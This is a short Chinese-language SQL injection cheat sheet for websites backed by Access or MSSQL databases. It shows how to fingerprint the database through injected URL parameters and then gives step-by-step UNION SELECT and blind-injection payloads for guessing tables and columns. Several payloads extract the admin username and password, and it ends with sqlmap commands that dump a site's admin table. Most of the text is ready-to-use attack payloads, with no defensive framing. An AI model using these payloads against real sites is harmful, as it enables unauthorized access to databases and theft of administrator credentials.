各个数据库独有表名:
msssql:sysobjects
mysql:infomation——schema
access:mssysobjects
Oracle:sys.user_table
判断数据库:
手工查数据库类型方法:
and (select count (*) from 独有表)>0
方法一:
在地址栏上显示的连接所带的参数后面加些特殊符号,看它的报错信息,如
http://www.**.com?id=1’
则回返回错误,如果是Microsoft JET Database Engine错误’80040e14’的话,则说明网站所用的数据库是Access数据库。
方法二:
http://wwww.***.com?id=1 and (select count(*) from sysobjects)>0 //sysobjects 是SQL表,返回正常则为MSSQL数据库
http://www.***.com/id=1 and (select count(*) from msysobjects)>0 //msysobjects 是access,返回权限不足 access数据库
如果加sysobjects的SQL语句后,网页显示正常,
加msysobject的SQL语句后,网站显示不正常,则说明用的是SQLServer数据库。
如果加sysobjects和加msysobjects的SQL语句后,网页显示都不正常,或者加msysobject后的网页显示正常,则说明是ACCESS数据库。
但首先得允许访问系统表。
exists(select*from msysobjects)//如果这条语句正确,说明是Access数据库
MSysObjects表中包含了所有数据库对象。但遗憾的是,Access数据库默认不允许访问这些表。
1.判断注入点
2.确定列名的数目
语句order by 列名数
3.猜表名
1.1 语句 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from 表名
1.2 语句 and exists (select * from 表名) //返回正常则说明存在admin数据表
4.猜列名
1.1 语句 UNION SELECT 1,2,列名一,4,5,6,7,8,9,10,11,12,13,14,列名二,16,17,18,19,20,21,22 from 表名
1.2 语句 and exists (select 列名 from 表名)
5.爆数据(先确定长度)
1.1 语句 UNION SELECT 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin
1.2 确定admin列第一行数据的长度
语句 and (select top 1 len(列名) from 表名) =5 //top 1子句含义:查询结果只显示首条记录,len()取长度,返回正常,则说明admin第一行的数据长度为5
猜解admin第一列数据内容:
语句 and (select top 1 asc(mid(列名,n,1)) from 表名) =97 //返回正常
Sqlmap注入Access数据库:
爆出access数据库存在的表:sqlmap -u "xxx" --tables
爆出admin数据库中的列名:sqlmap -u "xxx" -T admin --columns
爆出admin表下username列的所有数据:sqlmap -u "xxx" -T admin -C username --dump-all